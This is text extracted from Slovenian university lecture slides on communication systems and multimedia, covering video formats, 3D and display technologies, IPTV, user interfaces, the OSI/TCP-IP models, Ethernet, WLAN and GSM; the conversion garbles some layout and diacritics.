grafika) in kombinacije obeh 
 Lastnosti: 

 Barve: ČB, sivinske, barvne 
 Ločljivost: koliko slikovnih elementov imajo (pixel):  

 Formati zapisa: 
 Rastrski formati: 

 Opisujejo posamezne pixel-e na sliki 
 Gif, JPEG, PNG, TIFF, BMP, EXIF, RAW … 

 Vektorski formati: 
 Vsebujejo geometrijske opise elementov na sliki  boljše 

obnašanje pri spremembi velikosti slike 
  SVG, CGM 

 Veliko moţno sti obdelave slik  
 



Multimedijske vsebine - video 
 Video (lat. “videre” -  slo.  “vidim”) 

 Zaporedje slik, dovolj hitro, da “prevara” oko   
 vsaj 25 slik/s 

 Zajem na številnih napravah: video kamera, telefoni, 
PC-spletne kamere, … 

 Zgodovina: 
 1860: animacije sestavljene iz več slik, naprava mutoskop, 

praxinoskop,… 
 1878: zajem več slik, zaporedno prikazovanje (konjske 

dirke) 
 1936: prvi redni TV program na BBC 
 1951: prvi prenos v ţ ivo v ZDA: govor preds. Truman 

 Danes:  
 “Najpotratnejša” vsebina na internetu  (90% prometa je 

video!!!) 
 

 
 
 
 

 

Mutoskop: vir Wikipedia 



Multimedijske vsebine – video (2)  
 Formati: 

 Analogni: PAL, NTSC, SECAM  
 PAL: 720 x 576, 50 pol-slik/s  (4:3) 

 Digitalni:  
 SD: 720 x 576 
 HD: 480p, 720p, 1080i, 1080p…  (16:9) 
 Prihajajo vse večje ločljivosti 

 Kodeki :  
 MPEG2, MPEG4 (H.264), DivX / Xvid, WMV, Sorenson, RealVideo,… 
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Ločljivosti videa, ki so danes na trgu? 
Standard Lastnosti 
UHDV 7680 × 4320, 60 slik/s, progresivno 



UHDV 
 Nippon NHK Ultra High Definition Television 

 16:9@7680x4320 pixel (33 megapixel) 
 60 slik/s progresivno 
 22.2 avdio sistem 

 3 spodnji nivo 
 10 srednji nivo (višina ušes) 
 9 zgornji nivo 
 2 bas kanala 

 Celoten sistem 
 Zajem 
 Prenos 
 Shranjevanje 
 Projekcija 

 Format 
 Nekompresirano: 24 Gbit/s 
 Kompresirano: MPEG2 600 Mbit/s; MPEG4: 140 Mbit/s 

14 

UHDV kamera 



Multimedijske vsebine – 3D 
 Kaj je “3D” prikazovalnik? 
 Navidezni 3D 

 Stereoskopija (prostorsko gledanje) 
 Dodatni pripomočki (npr. očala) 

 Avtostereoskopija 
 Brez dodatnih pripomočkov 

 Pravi 3D 
 Holografija 
 Volumetrični prikazovalniki 
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http://en.wikipedia.org/wiki/3D_display  

http://en.wikipedia.org/wiki/3D_display


Stereoskopske tehnike – navidezni 3D 
 Iluzija 3D slike 
 Ločen prikaz dveh ustrezno zamaknjenih 

slik (~6.35cm med očmi) 
 Vizualni korteks zdruţi  sliki in poskrbi za 

3D efekt 
 Test s “prstom” – (levo in desno oko) 
 Potrebna so posebna očala za ločevanje 

slik (levo-desno oko) 
 Tehnike 

 Barvno ločevanje (anaglyph) 
 Polarizacijsko ločevanje 
 Aktivno prikazovanje/temnenje (eclipse 

method) 
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Anaglifna metoda 
 

17 



Anaglifna metoda 
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Anaglifna metoda 
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Matjaž Tančič, 3D fotografija, http://www.matjaztancic.com  

http://www.matjaztancic.com/


LTFE 3D TV 
 Pilot 

 2x Logitech web cam (in plazma piškoti) 
 Zajem z aplikacijo gstreamer v Linux OS 
 Obdelava in predvajanje – Youtube 3D 

 Primer 
 http://www.youtube.com/watch?v=EYp8UViEmQ0  
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http://www.youtube.com/watch?v=EYp8UViEmQ0


Avtostereoskopija 
 Naprava sama omogoča prikaz iluzije 3D slike 
 Avtostereogram 

 Ponavljajoč vzorec se interpretira kot 3D slika 
 Način gledanja 

 Vzporedno “wall-eyed” 
 Kriţ no “cross-eyed” 
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Avtostereoskopski TV 
 Navidezni prikaz 3D slike na zaslonu brez dodatnih 

pripomočkov 
 Ideja – ločitev (levo-desno oko) v sami prikazovalni napravi 

 Bikonveksna leča (lenticular lens) 
 Paralaksna bariera (parallax barrier) 

 Prednost 
 Očala niso potrebna 

 Slabost 
 3D efekt je moţen  le v določenih točkah (“sweet spot”) 
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Bikonveksna leča (lenticular lens) 
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Pasovne širine v praksi 

Storitev 
 

Pasovna širina 
 

Govor– GSM 13 kbit/s 
 

Govor– ISDN 64 kbit/s 
 

Streaming audio 
 

20 kbit/s – 512 kbit/s 

4 – 8 Mbit/s 

 
 

8 – 14 Mbit/s (MPEG 4avc) 
25 Mbit/s (MPEG 2) 

Videokonference 
 

HDTV 

384 kbit/s – 5 Mbit/s 

Streaming video – MPEG 2 

Streaming video – MPEG 4/AVC 

Internet video 

1 – 3 Mbit/s 

28 kbit/s – 1 Mbit/s 



Načini prenosa MM vsebin 
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Terminali in tehnologije prikaza 

29 
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Terminalne naprave- razdelitev 
 Osebni računalnik 
 Televizijski komunikator (Net-Top-Box) 
 Igralna konzola 
 Tablični računalnik (Tablet PC) 
 Dlančnik 
 Mobilni telefon  
 Specializirane naprave 

zmogljivost 

mobilnost 



Terminalne naprave 
 Lastnosti, ki jih delajo uporabne za multimedijo 

 Dobra povezljivost (LAN, UMTS, HSDPA, WiFi) 
 Vse močnejši procesorji (1Ghz+) 
 Pomnilniki (N x 10Gb) 
 Zasloni z dobro ločljivostjo (480 x 800 in več) 
 Intuitivno upravljanje 

 Dotik 
 Glas 
 … 

 Vse boljše baterije 
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Kriteriji za zmogljiv terminal v letu 2010 
 Dober telefon naj premore  

 5 Mpix kamero z avtomatskim ostrenjem in dvojno bliskavico 
 zmoţno st zajemanja videa HDTV (1280×720) 
 vsaj 1GHz procesor (npr. Snapdragon) 
 vsaj 4″ zaslon na dotik 
 povezljivost HSDPA in HSUPA 
 povezljivost 802.11b/g/n WiFi in Bluetooth 
 sprejemnik satelitov GPS 
 zdruţl jivost z DLNA (Digital Living Network Alliance) 
 nov OS (npr. Android 2.2, WindowsPhone 7) 
 mnoţi co senzorjev (pospeški, kompas, bliţi na, svetloba) 
 zmogljivo baterijo vsaj 1500 mAh 
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Pričakovanja za leto 2012 
 Hiter razvoj tehnologij prinaša 

 procesorje s 4/5jedri s hitrostjo 1.3 - 1.5 GHz 
 Kal-El Nvidia (Tegra 3) 
 Qualcomm CPU Snapdragon (MSM8960) bo 5x hitrejši od Desire HD 
 poraba se zmanjša za 1/4 

 hitrosti prenosa navzdol  
 12 - 25 Mbit/s HSPA+  
 hitrost navzgor 5 Mbit/s 
 opremljenost z WLAN b/g/n  
 hitri vmesnik Bluetooth 
 3.0 do 24 Mbit/s 
 GPS s polno asistenco 
 grafična zmogljivost kot PS3? 
 vgrajen mikro projektor? 



Tehnologije prikaza 
 Zasloni 

 CRT 
 LCD 
 LED-LCD 
 OLED 
 Plazma  

 Projektorji 
 LCD 
 DLP 
 LCOS 
 Projektorski TV 

 Elektronski papir (e-ink) 
 Prihodnost 

 LaserTV 
 Upogljivi zasloni 
 …? 
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Osnovne značilnosti 
 Splošne 

 Fizična oblika 
 Velikost zaslona (min, max) 
 Fleksibilnost 

 Kvaliteta prikaza 
 Format zaslona 
 Ločljivost in gostota zaslonskih elementov 
 Hitrost osveţeva nja slike (temporalna ločljivost) 
 Kotna vidljivost 
 Svetlost 
 Kontrastno razmerje 
 Razpon in pravilnost barvne reprodukcije 
 Uniformnost osvetlitve 
 Geometrijska popačenja 

 Ţivljenjska doba 
 Energijska učinkovitost 
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Cathode Ray Tube - CRT 
 Zaslon s katodno cevjo 
 Ključni sestavni elementi 

 Katodna cev 
 Elektronski top (3x za barvno različico) 
 Maska za fokusiranje elektronskega ţar ka 
 Fosforni premaz (RGB) 
 Krmilna elektronika 

 Prednosti in slabosti 
 Odlična reprodukcija barv, kontrast 
 Geometrijska popačenja, utripanje 

 
 

36 
“Trinitron” 



Liquid Crystal Display - LCD 
 Zaslon s tekočimi kristali 
 LCD sloj kot svetlobna maska 
 Aktivna osvetlitev zaslona 

 Fluorescentna ţar nica (CCFL) 
 LED (LED-LCD) 

 Robna osvetlitev (edge) 
 Polna osvetlitev (full array) 

 Prednosti in slabosti 
 Ni geometrijskih popačenj, utripanja 

 
 Slabša reprodukcija temnih 

odtenkov 
 Slabša kotna vidljivost in 

temporalna ločljivost 
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LCD kristalne molekule 

http://solutions.3m.com/wps/portal/3M/en_US/Vikuiti1/BrandProducts/secondary/optics101/  

http://solutions.3m.com/wps/portal/3M/en_US/Vikuiti1/BrandProducts/secondary/optics101/


Organic light-emitting diode - OLED 
 Plast organskega materiala, ki pri 

vzbujanju z električnim tokom oddaja 
svetlobo 

 Prednosti in slabosti 
 Odlična kontrastna razmerja in reprodukcija 

temnih odtenkov 
 Dodatna osvetlitev zaslona ni potrebna 
 Visoka energijska učinkovitost 
 Izjemno tanki in fleksibilni zasloni  
 Ni geometrijskih popačenj in utripanja 

 
 Manjša ţiv ljenjska doba 
 Omejitve velikosti zaslona 
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Plazma zasloni - PDP 
 Električno vzbujane plinske 

celice oddajajo UV svetlobo, ki 
vzbudi fosforni premaz in odda 
vidno svetlobo (RGB) 

 Prednosti in slabosti 
 Odlična reprodukcija barv in 

temnih odtenkov 
 Dobra kotna vidljivost 
 Ni geometrijskih popačenj 
 Odlična temporalna ločljivost 

(600Hz+) 
 Velikosti do 150” 
 Dolga ţiv ljenjska doba 

 
 “burn-in” efekt 
 Slaba energijska učinkovitost 
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LCD projektor 
 3xLCD zaslon v vlogi filtra 
 Močan vir bele svetlobe 
 Prizma in ogledala za razcep 

svetlobe na RGB komponente 
 Prednosti in slabosti 

 Dobra reprodukcija barv 
 Svetla in kontrastna slika 

 
 Časovna degradacija LCD panelov 

in posledično slabša slika 
 “screen-door” efekt – vidna 

šahovnica slikovnih elementov 
 Kratka ţiv ljenjska doba ţar nice 
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Laserska TV 
 Projekcijski DLP televizor 
 LASER kot svetlobni izvor (RGB) 
 Prednosti in slabosti 

 Izjemna reprodukcija barv 
 Izjemno kontrastno razmerje 
 Visoka energijska učinkovitost (cca. 

25% porabe plazemskega TV 
primerljive velikosti) 

 Ni degradacije v kakovosti slike zaradi 
staranja 
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Mitsubishi LaserVue 75” 



Elektronski papir – “E-ink” 
 “papirju” podobna tehnologija 

prikazovanja 
 Osnovni element – mikrokapsule 

z mešanico črno belo obarvanih 
delcev z nabojem 

 Sprememba električnega polja 
spremeni porazdelitev delcev in 
povzroči obarvanje mikrokapsule 

 Prednosti in slabosti 
 Izjemno dober kontrast, ločljivost in 

berljivost 
 Izjemna energijska učinkovitost (za 

ohranjanje slike ni potrebna energija) 
 Slaba temporalna ločljivost 
 Omejena reprodukcija sivin (16) 

 Barvni e-papir? (7. nov. 2010) 
42 

Amazon Kindle 



Primerjava tehnologij 
Kriterij/ 
Tehnologija 

Velikost Kvaliteta 
prikaza 

Ţivljenjska 
doba (ur) 

Energijska 
učinkovitost 

CRT ~40” izjemna ~20.000 slaba (~250 W za 
32”) 

LCD TV ~100” srednja ~30.000 dobra (~200 W za 
42”) 

LED-LCD TV ~65” dobra ~30.000 dobra (~200 W za 
42”) 

OLED TV do ~40” izjemna ~5.000? dobra (~39W za 
11” Sony OLED) 

PLAZMA TV ~100” zelo dobra ~30.000 slaba (~300 W za 
42”) 

LCD projektor / dobra ~4.000 dobra (~200 W za 
~1500 lumnov) 

DLP projektor / zelo dobra ~4.000 dobra (~200 W za 
~1500 lumnov) 

LCOS projektor / izjemna ~4.000 
 

dobra (~200 W za 
~1500 lumnov) 

LASER TV 75” izjemna ? zelo dobra(~130W 
za 75”) 

E-ink ~20” zelo dobra  
(za E-papir) 

? izjemna 
43 



MM storitve – interaktivna TV 



Začetki interaktivne TV 
• 1983: Bildschirmtext (“BTX”) 

• Podatkovni prenos preko  
telefonskega omreţja  

• Posebna strojna oprema 
• Nemčija (do 2001), Avstrija, Švica 



Razmah interneta 

• Internet je postal dostopen vsem, povsod 
• Dostop do informacij, slik, videov 
• Interakcija med uporabniki: e-pošta, facebook, twitter 
• Povezovanje različnih naprav preko web vmesnikov 



Televizija 
 
 
 
 
 
 
 

 
 
    

           Internet                

Internet + televizija 

ITV ≠ TV + PC 
 
 
 
 
 
 
 
 
 
 
    



ITV - primeri 



iTV - primeri 
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Tipične storitve IPTV 
 Večpredstavne storitve 

 z ţ ivimi vsebinami (IPTV, PPV, NVOD) 
 video/audio na zahtevo (VOD, AOD) 
 osebni videorekorder (angl. Personal Video 

Recorder, PVR), Network PVR 
 Povezava s telefonijo 

 Informacijske storitve 
 elektronski programski vodič (angl. 

Electronic Programme/Service Guide, 
EPG/ESG)  

 neposredno sporočanje 
 prisotnost (presence) 
 uporabniški račun (pregled stroškov) 
 e-poštne storitve 
 Svetovni splet na TV 

 Druge storitve 
 igre na zahtevo (angl. Games on Demand, 

GOD) 
 aplikacije na zahtevo (angl. Application on 

Demand) 



Drugi zaslon 
 Namesto boja z “Over-the-top” vsebinami in storitvami je drugi 

zaslon postal uporabno dopolnilo gledanja televizije 
 iPad in druge tablice, pametni telefoni 

 
 Laţ je brskanje po vsebinah, ki jih predvajamo na TV 
 
 Prehod gledanja med napravami 

 
 Uporaba socialnih omreţij  

 
 Sodelovanje v interaktivnih oddajah 

 
 … 
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Druge aplikacije in trendi 
 Priporočilni sistemi za TV oddaje, video na 

zahtevo … 
 Jinni 
 RedBee 
 Gravity 
 Guru ( algoritmi FRI) 

 

 Ciljno oglaševanje 
 Sporočila na druţ abnih omreţ jih (FB) 
 Brskanje po drugih vsebinah (novice, VoD…) 

 SeaChange 
 Thinkanalitics 

 Real time procesiranje in prikaz mnenj o TV 
oddajah (Twitter + FB) 

 
 eIzobraţev anje na TV 

 Digisoft.tv (12000 šol v ZDA) 
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Povezava z domačimi vsebinami: DLNA/UPnP
  

 Digital Living Network Alliance 
 vizija, kako povezati multimedijske naprave v domačem okolju 
 povezava televizijskih, mobilnih in internetnih storitev 

 Universal Plug and Play 
 tehnologija (protokolni sklad), ki omogoča vizijo DLNA 
 temelji na omreţji h z IP protokolnim skladom 

 Ključnega pomena je ENOSTAVNOST za uporabnika 

Vir: http://www.dlna.org/  

http://www.dlna.org/
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Arhitektura DLNA 

Vir: http://www.dlna.org/  

http://www.dlna.org/
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SiOL TV 
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T-2 IPTV 
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Konvergenčne storitve 

SiOL IO 

T-2 Avditorij 
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XBMC/Boxee/Joost 
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Upravljanje hišne avtomatizacije 
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Spremljanje električne porabe 



Google TV = OTT (internetna TV() 
 http://www.google.com/tv/features.html 
 Naprave so ţe /bile na trgu 
 Ponuja vse razen standardnih TV kanalov (zaenkrat) 
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http://www.google.com/tv/features.html


MM storitve - splet 
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Blogging 
 Moblogging 

 fotografije, narejene z mobilnikom 
 integracija v mobilne telefone 

 Microblogging 
 Twitter 
 Kratka sporočila (do 160 znakov) 
 pošiljanje preko IM ali SMS 

 “Instant Journalism” 
 YouWitness 
 Ţivo spremljanje konferenc 

 Geoblogging 
 geografsko označevanje fotografij 
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Podcasti 
 Osebna radijska postaja 

 “demokratizacija radia” 
 Tehnologija 

 snemanje Skype pogovorov 
 distribucija avdio datotek preko RSS 

 Dostopnost 
 ljudje s posebnimi potrebami (branje blog postov za slepe) 

 Mobilnost 
 ustvarjalcev 
 poslušalcev (poslušanje z običajnim MP3 predvajalnikom) 

 Mobilni terminali s predvajalnimi zmogljivostmi 
 sinhronizacija preko ustreznega softvera 
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Video sharing 
 Flash video 

 enoten format: FLV kontejner in h263/h264 video 
 deluje v vsakem brskalniku z naloţeni m Flashom 

 Druţabne funk cionalnosti 
 Video odgovori 
 tekstovni komentarji, ratingi 

http://www.metacafe.com/


youtube.com/my_speed 

YouTube 
 Več kot 1 mrd. ogledov dnevno 

 Na spletni strani in preko embeddov  
 preko aplikacij (npr. iPhone, Android) 

 20+ ur novega videa vsako minuto 
 17 mrd. iskanj na mesec 

 Več kot Yahoo (9 mrd.) 
 Vsebine 

 HD 480p, 720p, 1080p (1920x1080) 
 Do 24MB (200 Mbit) za minuto videa 
 Peering za zniţev anje stroškov tranzita 

 



67 

Interaktivnost 

INTERAKTIVNOST 



Kaj potrebujemo za interaktivnost? 

 Uporabniški vmesnik do naprave 
 Grafični uporabniški vmesnik (prikaz aplikacije) 
 Vmesnik za komunikacijo in posredovanje „ukazov‟ 

 
 Terminalno napravo 

 TV sprejemnik oz. „Set-top box‟ 
 

 Povratni kanal do ponudnika storitev 
 

 Ustrezne vsebine in aplikacije 
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Vmesniki 
 Ljudje uporabljamo “vmesnike” ţ e tisočletja 

 Table, napisi, smerokazi 
 Različne naprave 
 … 

 



Vmesniki (2) 



Vmesniki (3) 



Vmesniki (4) 



Začetki uporabniških vmesnikov na 
elektronskih napravah 

 Ukazni vmesniki (command-line) 
 

 Tekstovni vmesniki (text-based) 
 

 Grafični uporabniški vmesniki (graphical) 
 

 Z razvojem računalniške tehnologije so svet 
preplavili grafični uporabniški vmesniki 
 Uporaba za mnoţice  





Začetki grafičnih vmesnikov 
 Xerox Star Workstation- 1981 
 Apple/Macintosh  - 1984 
 Windows 1.0 -  1985 

 
 Novi koncepti 

 Miška, kurzor, meni, … 
 



Začetki grafičnih vmesnikov (2) 
 Xerox Star Workstation- 1981 
 Apple/Macintosh  - 1984 
 Windows 1.0 -  1985 

 
 Novi koncepti 

 Miška, kurzor, meni, … 
 



Stanje danes 

 Hiter razvoj elektronskih naprav 
 Različne naprave (mobilne, TV, osebni računalniki, tablice, 

…) 
 

 Uporaba za široke mnoţ ice 
 Otroci 
 Starejši 
 Ljudje  s posebnimi potrebami 

 
 Različne modalnosti interakcij 

 



Stanje danes (2) 
 Uporabniški vmesnik in design interakcije postajata vse 

pomembnejša 
 Dobra uporabniška izkušnja lahko odloči o sprejetju novega 

sistema, aplikacije, storitve!!! 



Modalnosti interakcije 
 “Klasika” 

 Miš in tipkovnica, daljinski 
upravljalnik 
 
 

 

 Upravljanje z dotikom 
 Pametni telefoni, iPad, MS surface,… 

 
 

 

 Upravljanje z glasom 
 
 
 

 Upravljanje z gestami/kretnjami 
 
 Pametni telefon, iPad,… 



Modalnosti interakcije (2) 
 

 Upravljanje z očmi 
 
 
 

 Upravljanje z mislimi 
 
 
 
 

 Upravljanje z drugo napravo 
 Pametni telefon, iPad,… 
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Multimedija in spremembe v druţbi  
 Spremembe v kulturi 

 preveč prostega časa 
 TV poţre  ves “umski preseţe k” 

 Vsak vikend v USA 
 100 milijonov ur samo za gledanje reklam po TV (1 wikipedija) 

 Ocenjen vloţe k za izdelavo Wikipedije 
 (vse vsebine, vsi jeziki in ves softver) 
 100 milijonov ur 

 Letno: 
 2000 Wikipedij samo v USA gre za TV 
 10.000 Wikipedij letno na celem svetu za TV 

 Dovolj je izdolbsti le delček procenta iz tega časa 
 pa lahko nastanejo velike stvari 

 Clay Shirky -- odlična prezentacija http://blip.tv/file/855937 

http://blip.tv/file/855937


Multimedija na FE 

 



Multimedijski center (MMC) 
 Produkcijska oprema za potrebe dvorane 

 digitalna avdio/video mešalna miza z grafiko, chroma-key, osnovnimi 
efekti in prehodi 

 video matrica 16x16 
 nadzorna konzola za kamere, prednastavljanje pozicij, samodejno 

pozicioniranje kamer 
 avdio mešalna miza 
 konferenčni sistem z nadzorom 

mikrofonov 
 brezţič ni mikrofoni 
 preprečevanje mikrofonije 
 številni viri signala 
 enkoderji in video streţniki  
 videokonferenčni sistem 
 centraliziran sistem upravljanja 



 Funkcionalnosti 
 Produkcijsko omreţje  

 Studio (kamere, mikrofoni, luči) 
 Kontrola kamere in montaţ a v ţ ivo 

 IP omreţje  
 Vnos materiala (posneto in v ţ ivo) 
 Montaţ a posnetega materiala 
 Skupna hramba materiala in arhiv 
 Predvajanje 
 Enkodiranje 

 Pomembno za študente 
 Sistem za izvajanje laboratorijskih vaj pri študiju MMK 

MMK produkcijski sistem 
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Shema produkcijskega sistema 
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Konec. 



Komunikacijski sistemi 
prof. dr. Janez Bešter 

prof. dr. Andrej Kos 
dr. Matevž Pustišek 

& Co. 
 

Ljubljana, 19. 01. 2011 



Vsebina 1 
 Informacijska družba, komuniciranje in informacijski viri 
 Uporabniki in ponudniki informacijskih in 

telekomunikacijskih omrežij, storitev, vsebin in aplikacij 
 Povezavno in nepovezavno usmerjene komunikacije 
 Tokokrogovni in paketni sistemi 
 Arhitekture telekomunikacijskih omrežij 

 Dostop, hrbtenica, storitve in vsebine 
 Internet 
 Širokopasovnost 
 Mobilnost 
 Multimedija 

 



Vsebina 2 
 Omrežja in storitve 

 Protokolna sklada (OSI in TCP/IP) 
 Komunikacijska vodila 
 Omrežja Ethernet, kabliranje  
 Omrežja IP 
 Osnove naslavljanja, DHCP in DNS 
 Osnove omrežnih elementov  

 
 Pregled aktualnih sistemov 

 Brezžični in mobilni sistemi 
 TV, iTV in IPTV 
 Web 2.0 

 

 



Vaje 
 Delo z najsodobnejšo komunikacijsko opremo 

 Načrtovanje, izdelava in testiranje povezav 
 Lokalna omrežja 
 Internetni sistemi 
 MM sistemi 

 



Kogar zanima več … 
 Cisco omrežna akademija 

 CCNA, CCNP, Security, Wireless 
 Svetovno priznani certifikati 

 Apple akademija 
 Snow, iWork, FCE, FCP, MotionApple, Color, Compressor 
 Svetovno priznani certifikati 

 
 ICT akademija 

 Dodatna vabljena predavanja strokovnjakov iz industrije 
 Dodatna izobraževanja PHP, Linux, Java 

 Cyber Reaktorji 
 Izzivi telekomunikacij, izzivi multimedije, start-up podjetja 

 Sodelovanje v LTFE in na razvojnih projektih podjetij 
 





Razvoj telekomunikacij in IKT 

 Temeljna znanja s področja komunikacijskih in 
informacijskih sistemov 
 znanja, ki so potrebna za bodoče inženirje tehnične stroke, in spadajo 

v splošno izobrazbo inženirja v informacijski družbi 
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Sodobni komunikacijski sistemi 
 

Video storitve

Govorne storitve

Podatkovne storitve 
in Internet 

Poslovni procesi

U
po

ra
bn

ik
i

  Fiksni sistemi

    Brezžični in
  mobilni sistemi

  Radiodifuzni 
      sistemi

Paketni

Tokokrogovni

Paketni

Tokokrogovni

P
onudniki storitev in vsebin

Načrtovanje, upravljanje in nadzor sistemov

Po
sl

ov
na

 in
 re

zi
de

nč
na

 o
m

re
žj

a

Dostopovna omrežja Hrbtenična omrežja

Analogni

Digitalni

Tokokrogovni

Paketni

Storitveni sistemi

Izdelava vsebin



Izvor, ponor, prenosna pot 
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10 Ko

mu

Prenosni medij 

PRENOSNI MEDIJ 

ŢIČNI BREZŢIČNI 

BAKER 

OPTIKA 

ZVOK 

RADIO 

OPTIKA 

UTP COAX PLC ... 

ENOROD. MNOGOROD. 

SUB SLIŠNI UZ 

NF DV,SV,KV UKV MIKRO 

LASER IR 



Elementi arhitekture IKTsistemov 
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Umestitev tehnologij 

Omrežne tehnologije 

Tokokrogovna komutacija Paketna komutacija 

Povezavna  
usmerjenost 

G-Ethernet ATM, MPLS 

Nepovezavna  
usmerjenost 

ISDN, DTM 

Statična Dinamična 

SDH/SONET 



Operatersko omrežje – Internet 
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OSI Referenčni model 

SejniSejni

TransportniTransportni

OmrežniOmrežni

PovezavniPovezavni

FizičniFizični

Prenosni medij

AplikacijskiAplikacijski

PredstavitveniPredstavitveni
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6

5

4

3

2

1

SLOJ

SejniSejni

TransportniTransportni

OmrežniOmrežni

PovezavniPovezavni

FizičniFizični

AplikacijskiAplikacijski

PredstavitveniPredstavitveni

OmrežniOmrežni

PovezavniPovezavni

FizičniFizični

Logična komunikacija

Fizična kom
unikacija
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Potek komunikacije 

Sejni Sejni 

Transportni Transportni 

Omrežni Omrežni 

Povezavni Povezavni 

Fizični Fizični 

Aplikacijski Aplikacijski 

Predstavitveni Predstavitveni 

Omrežni Omrežni 

Povezavni Povezavni 

Fizični Fizični 

Omrežni Omrežni 

Povezavni Povezavni 

Fizični Fizični 

podatki podatki 

Sejni Sejni 

Transportni Transportni 

Omrežni Omrežni 

Povezavni Povezavni 

Fizični Fizični 

Aplikacijski Aplikacijski 

Predstavitveni Predstavitveni 

Omrežni Omrežni 

Povezavni Povezavni 

Fizični Fizični 
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IP protokolni sklad 

Fizični sloj 

Povezavni sloj 

IP 

UDP TCP 

ARP 
ICMP 

snmp dns 
nfs 
+ 

rpc 
telnet smtp X ftp http 

Tracert 
P

ing 



Ethernet in referenčni model OSI 
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Fizična plast 

Povezavna plast 

Omreţ na plast 

Transportna plast 

Plast seje 

Predstavitvena plast 

Aplikacijska plast 

Fizična plast 

Media Access Control (MAC) 
MAC client (LLC oz. Bridge) 

Višje leţ eči protokoli 

Referenčni model OSI Referenčni model Ethernet (IEEE 802.3) 

802.3 
Ethernet 

802.1 oz. 802.2 



Fizični in povezavni sloj Ethernet 
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MD
I 

Physical medium- 
dependent layers 

MII 

Physical medium- 
independent layers 

802.3 MAC 

MAC Client 

MD
I 

Physical medium- 
dependent layers 

MII 

Physical medium- 
independent layers 

802.3 MAC 

MAC Client 

Fizični medij 



Omrežne naprave – umestitev v OSI 
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Ethernet 

Glava 
IP 

TC
P Podatki 

Podatki 

Podatki 

 

Podatki L5 - L7 

L4 

L3 

L2 

L1 

usmerjevalnik 

premoščevalnik, 
stikalo 

obnavljalnik, 
vozel (hub) 

rep 

010101010101000010101111111010101111 



Princip delovanja stikala Ethernet 

ciljni naslov MAC izhodni vmesnik 
1111.1111.1111 E1 
2222.2222.2222 E2 
3333.3333.3333 E3 
4444.4444.4444 E4 

20 

E4 

E2 E3 

E1 

MAC = 1111.1111.1111 

MAC = 2222.2222.2222 MAC = 3333.3333.3333 

MAC = 4444.4444.4444 

tabela MAC 
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Hierarhična struktura DNS 
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Umestitev tehnologij WLAN 

 
 

WPAN 

WMAN 

WWAN 

WLAN 

IEEE 802.15 
Bluetooth 

IEEE 802.11 
Wireless LAN 

IEEE 802.16 
MMDS, LMDS 

IEEE 802.20 
Mobile Broadband 

Wireless Access (MBWA) 

ETSI 
HIPERLAN 

ETSI HIPERMAN 
& HIPERACCESS 

3GPP, 3GPP2 
GSM, UMTS 
HSxPA, LTE 

WRAN 
IEEE 802.22 Wireless 

Regional Area Networks  

Stacionarni domet: do 100km, tip. 30km 
Hitrost: do 72.6 Mbit/s, tip. 18 Mbit/s 
Kognitivni radio pri izrabi TV kanalov 

Operatersko okolje 

Mobilni domet: do 35km, tip. 
5km 

Hitrost: do 14.4 Mbit/s danes 
Celično globalno pokrivanje 

Operatersko okolje 
Stacionarni in mobilni 

 domet: do 50km, tip. 5km 
Hitrost: do 100 Mbit/s in 

15 Mbit/s za mobilno 
Operatersko okolje 

Nomadsko: do 500m 
Hitrost: do 54 Mbit/s 

Lokalno pokrivanje 
Brezplačna uporaba 

Nomadsko: do 50m 
Hitrost: do 1 Mbit/s, (do 1 

Gbit/s) 
Osebno pokrivanje, 

brezplačno 

ZigBee 
UWB 

 
 

WBAN Bliţ ina telesa: do 10cm 
aktivni RFID: do 50m 
Hitrost: do 424 kbit/s 

RFID NFC 
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Mobilni prenos podatkov 
 Posebnosti prenosa podatkov 

 podatki so občutljivi na vsak spremenjen bit 
 mobilnost prinaša dodatne motnje zaradi presihov in drugih dejavnikov 
 napačen sprejem povzroči napačno CRC kodo in potrebo po ponovitvi 

 podatki predstavljajo digitalno vsebino 
 že pripravljen niz enic in ničel, zunanji MODEM ni potreben 

izvorni 
kodirnik 

podatkovni 
vmesnik 

DATA 

kanalski 
kodirnik 

šifriranje 
signala 

modulacija 

A 
D 

demodulacija 

dešifriranje 
signala 

kanalski 
dekodirnik 

izvorni 
dekodirnik 

podatkovni 
vmesnik 

DATA 

A 
D 
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Arhitektura in gradniki WLAN omrežij 
 Osnovni gradniki arhitekture 

 distribucijsko omrežje 
 dostopovne točke 
 repetitorji in mostovi 
 terminalna oprema 

 

Bridge 
Mode 
(Root) 

 

Bridge 
Mode 

(Access-Point) 

Bridge 
Mode 

(Non-root) 

Bridge 
Mode 

(Repeater) 

AD-HOC 

STA 

STA 

STA 

STA 

http://www.at-net.at/images/produkte/server.png
http://www.globalsuntech.com/solution/ieee80211/image/solutions_0101a04.jpg
http://www.globalsuntech.com/solution/ieee80211/image/solutions_0101a04.jpg
http://www.globalsuntech.com/solution/ieee80211/image/solutions_0101a04.jpg
http://www.globalsuntech.com/solution/ieee80211/image/solutions_0101a04.jpg
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“Svobodni” usmerjevalniki 
 Dostopne specifikacije 

 Operacijski sistem Linux 

 Skupnost nadobudnih razvijalcev 

 Najljubše tarče “zlorab” 
 Linksys WRT54G 

 Asus WL-500GP 

 Buffalo WHR-HP-G54 
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Arhitektura celičnega omrežja GSM 
 Omrežje GSM sestavlja zvezdasto razvejana arhitektura 

 mobilna postaja MS s kartico SIM 
 bazna postaja BS z nadzornikom BSC 
 jedrni del omrežja z glavnim centrom MSC 
 baze in registri podatkov 

 EIR, AuC - varnost in zasebnost 
 OMC, TMN - upravljanje 
 HLR, VLR - mobilnost 

GS
M 

BSS – podsistem bazne postaje 

MS – mobilni 
terminal 

NSS - podsistem omreţj a (jedro) 

OSS - podsistem upravljanja 

Mobitel (1Q09):  
940 GSM BS, 
6100 TRX@900MHz, 
550 TRX@1800MHz  
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Mobilnost in širokopasovnost 

CILJ 

 F
ik

sn
a 

P
eš

ci
 

Vo
zi

la
 

Mobilnost / doseg 

Znotraj hiše 

Pešci 

Vozilo na 
hitri cesti 

Vozilo na 
deţ eli 

Osebno okolje 

Vozilo v 
mestu 

Mestno okolje 

Teoretična hitrost 10 Mbit/s 0.1 1 

HSxPA Nomadska 
uporaba 

WLAN 
(IEEE 802.11x) 

GSM 
GPRS 

DECT 

BLUETOOTH v1.2 

3G 
WCDMA 

TD-CDMA EDGE 

100 1000 

IEEE 
802.16d UWB 

ZigBee 

 Izbira kompromisa med mobilnostjo in zmogljivostjo 
 pričakovanja novih tehnologij in tehnoloških pristopov (OFDM, MIMO 

...) 
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IPTV naslednje generacije 
 

Klepet Povabilo na preklop kanala 

Stanje 
prisotnosti 

Upravljanje 
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Interaktivnost 

INTERAKTIVNOST 
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Pasovne širine v praksi 

Storitev 
 

